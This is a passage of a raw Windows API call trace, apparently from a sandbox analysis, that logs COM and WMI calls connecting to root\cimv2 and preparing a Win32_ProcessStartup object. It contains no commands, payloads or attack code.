riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0107.616] WbemLocator:IUnknown:AddRef (This=0x1b48ae90) returned 0x3 [0107.617] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0107.617] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0107.617] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0107.617] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0107.617] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0107.617] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0107.617] WbemLocator:IUnknown:Release (This=0x1b48ae90) returned 0x2 [0107.617] WbemLocator:IUnknown:Release (This=0x1b48ae90) returned 0x1 [0107.617] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0107.617] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0107.617] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ae90, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b48ae90) returned 0x0 [0107.617] WbemLocator:IUnknown:AddRef (This=0x1b48ae90) returned 0x3 [0107.617] WbemLocator:IUnknown:Release (This=0x1b48ae90) returned 0x2 [0107.617] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6558b0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0107.617] WbemDefPath:IWbemPath:GetText (in: This=0x6558b0, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0107.617] WbemDefPath:IWbemPath:GetText (in: This=0x6558b0, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0107.617] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b48a9b0) returned 0x0 [0107.617] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b48a9b0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4b4040) returned 0x0 [0107.779] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4040, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b463e20) returned 0x0 [0107.779] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b463e20, pProxy=0x1b4b4040, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0107.779] WbemLocator:IUnknown:Release (This=0x1b463e20) returned 0x1 [0107.779] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4040, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b463e68) returned 0x0 [0107.779] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4040, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b463e20) returned 0x0 [0107.779] WbemLocator:IClientSecurity:SetBlanket (This=0x1b463e20, pProxy=0x1b4b4040, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0107.780] WbemLocator:IUnknown:Release (This=0x1b463e20) returned 0x2 [0107.780] WbemLocator:IUnknown:Release (This=0x1b463e68) returned 0x1 [0107.780] CoTaskMemFree (pv=0x1b460d10) [0107.780] WbemLocator:IUnknown:Release (This=0x1b48a9b0) returned 0x0 [0107.780] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4040, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b463e68) returned 0x0 [0107.782] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0107.784] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0107.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4040, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0107.794] WbemLocator:IUnknown:AddRef (This=0x1b463e68) returned 0x3 [0107.794] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0107.794] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0107.794] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b463d48) returned 0x0 [0107.795] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b463d48, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.795] WbemLocator:IUnknown:Release (This=0x1b463d48) returned 0x3 [0107.795] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0107.795] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0107.795] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b463e30) returned 0x0 [0107.795] WbemLocator:IRpcOptions:Query (in: This=0x1b463e30, pPrx=0x1b463e68, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0107.795] WbemLocator:IUnknown:Release (This=0x1b463e30) returned 0x3 [0107.795] WbemLocator:IUnknown:Release (This=0x1b463e68) returned 0x2 [0107.795] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0107.795] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0107.795] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4b4040) returned 0x0 [0107.795] WbemLocator:IUnknown:AddRef (This=0x1b4b4040) returned 0x4 [0107.795] WbemLocator:IUnknown:Release (This=0x1b4b4040) returned 0x3 [0107.795] WbemLocator:IUnknown:Release (This=0x1b4b4040) returned 0x2 [0107.795] SysStringLen (param_1=0x0) returned 0x0 [0107.795] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0107.795] WbemLocator:IUnknown:AddRef (This=0x1b463e68) returned 0x3 [0107.795] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b463e68) returned 0x0 [0107.795] WbemLocator:IUnknown:Release (This=0x1b463e68) returned 0x3 [0107.796] WbemLocator:IUnknown:Release (This=0x1b463e68) returned 0x2 [0107.796] WbemDefPath:IWbemPath:GetText (in: This=0x655430, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0107.796] WbemDefPath:IWbemPath:GetText (in: This=0x655430, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0107.796] IWbemServices:GetObject (in: This=0x1b4b4040, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b470890, ppCallResult=0x0) returned 0x0 [0107.803] IWbemClassObject:Get (in: This=0x1b470890, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0107.803] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0107.803] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0107.803] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0107.803] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0107.803] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0107.803] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.804] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b48a850) returned 0x0 [0107.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48a850, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0107.804] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48a850, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x656270) returned 0x0 [0107.804] WbemDefPath:IUnknown:Release (This=0x1b48a850) returned 0x0 [0107.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x656270) returned 0x0 [0107.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0107.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0107.804] WbemDefPath:IUnknown:AddRef (This=0x656270) returned 0x3 [0107.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0107.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0107.804] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b48aef0) returned 0x0 [0107.804] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48aef0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.804] WbemDefPath:IUnknown:Release (This=0x1b48aef0) returned 0x3 [0107.804] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0107.804] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0107.805] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0107.805] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x2 [0107.805] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x1 [0107.805] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0107.805] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0107.805] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x656270) returned 0x0 [0107.805] WbemDefPath:IUnknown:AddRef (This=0x656270) returned 0x3 [0107.805] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x2 [0107.805] WbemDefPath:IWbemPath:SetText (This=0x656270, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0107.805] IWbemClassObject:Get (in: This=0x1b470890, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2738678*=0, plFlavor=0x273867c*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2738678*=19, plFlavor=0x273867c*=0) returned 0x0 [0107.805] IWbemClassObject:Get (in: This=0x1b470890, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2738678*=19, plFlavor=0x273867c*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2738678*=19, plFlavor=0x273867c*=0) returned 0x0 [0107.805] IWbemClassObject:Put (This=0x1b470890, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0107.805] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ab0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0107.805] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0107.805] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0107.805] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0107.805] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0107.805] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0107.805] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0107.805] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.806] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b45d970) returned 0x0 [0107.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d970, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0107.806] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d970, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x655c70) returned 0x0 [0107.806] WbemDefPath:IUnknown:Release (This=0x1b45d970) returned 0x0 [0107.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x655c70) returned 0x0 [0107.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0107.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0107.806] WbemDefPath:IUnknown:AddRef (This=0x655c70) returned 0x3 [0107.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0107.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0107.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b45d770) returned 0x0 [0107.807] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d770, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: 